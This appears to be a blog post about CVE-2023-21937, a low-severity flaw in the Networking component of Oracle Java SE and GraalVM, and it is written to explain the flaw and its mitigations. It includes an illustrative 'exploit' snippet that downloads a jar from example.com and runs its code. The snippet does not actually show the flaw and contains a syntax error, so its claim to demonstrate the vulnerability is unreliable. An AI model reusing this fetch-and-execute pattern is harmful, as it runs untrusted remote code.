CVE-2023-21937: Vulnerability in Oracle Java SE and GraalVM Enterprise Edition - Networking Component

In this post, we'll be discussing a newly identified vulnerability affecting Oracle Java SE and Oracle GraalVM Enterprise Edition, two popular Java-based platforms. This vulnerability, assigned as CVE-2023-21937, involves the Networking component of these platforms and could potentially impact the data integrity of systems running sandboxed, untrusted Java code.

22.3.1

This vulnerability has a CVSS 3.1 Base Score of 3.7, indicating that it has a low impact on system integrity. The CVSS Vector for this vulnerability is (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N).

Exploitation Details

Exploiting this vulnerability is considered difficult, as it requires unauthenticated attacker with network access via multiple protocols to compromise the affected systems. Successful attacks can result in unauthorized update, insert, or delete access to Oracle Java SE and Oracle GraalVM Enterprise Edition accessible data.

It is important to note that this vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets. These clients load and run untrusted code (e.g., code from the internet) and rely on the Java sandbox for security. The vulnerability can also be exploited using APIs in the Networking component, such as through a web service supplying data to these APIs.

An example code snippet demonstrating the vulnerability might look like this

public class ExploitCVE2023_21937 {
  public static void main(String[] args) {
    try {
      // Load and run untrusted code over the network
      URLClassLoader loader = new URLClassLoader(new URL[]{new URL("https://example.com/untrustedCode.jar";)});
      Class<?> exploitClass = loader.loadClass("Exploit");
      ExploitableInterface exploitInstance = (ExploitableInterface) exploitClass.newInstance();
      exploitInstance.exploit();
    } catch (Exception e) {
      e.printStackTrace();
    }
  }
}

While this code snippet only illustrates the general idea behind exploiting the vulnerability, more specific details about the exploit itself have been withheld for security reasons.

Original References

The official CVE listing for this vulnerability can be found at the following link: CVE-2023-21937

Oracle's security advisory on this issue can be accessed at this link: Oracle Security Advisory

Mitigations and Solutions

To mitigate or fix this vulnerability, Oracle recommends applying the necessary patches provided in their Critical Patch Update (CPU) advisories. Updates can be obtained from the Oracle Java SE Downloads page.

In addition, organizations should ensure that they are following best practices for securely deploying Java applications and restricting access to untrusted code.

These approaches, combined with keeping systems up to date, can help reduce the risk of potential security breaches related to this CVE-2023-21937 vulnerability.

Timeline

Published on: 04/18/2023 20:15:00 UTC
Last modified on: 04/27/2023 15:15:00 UTC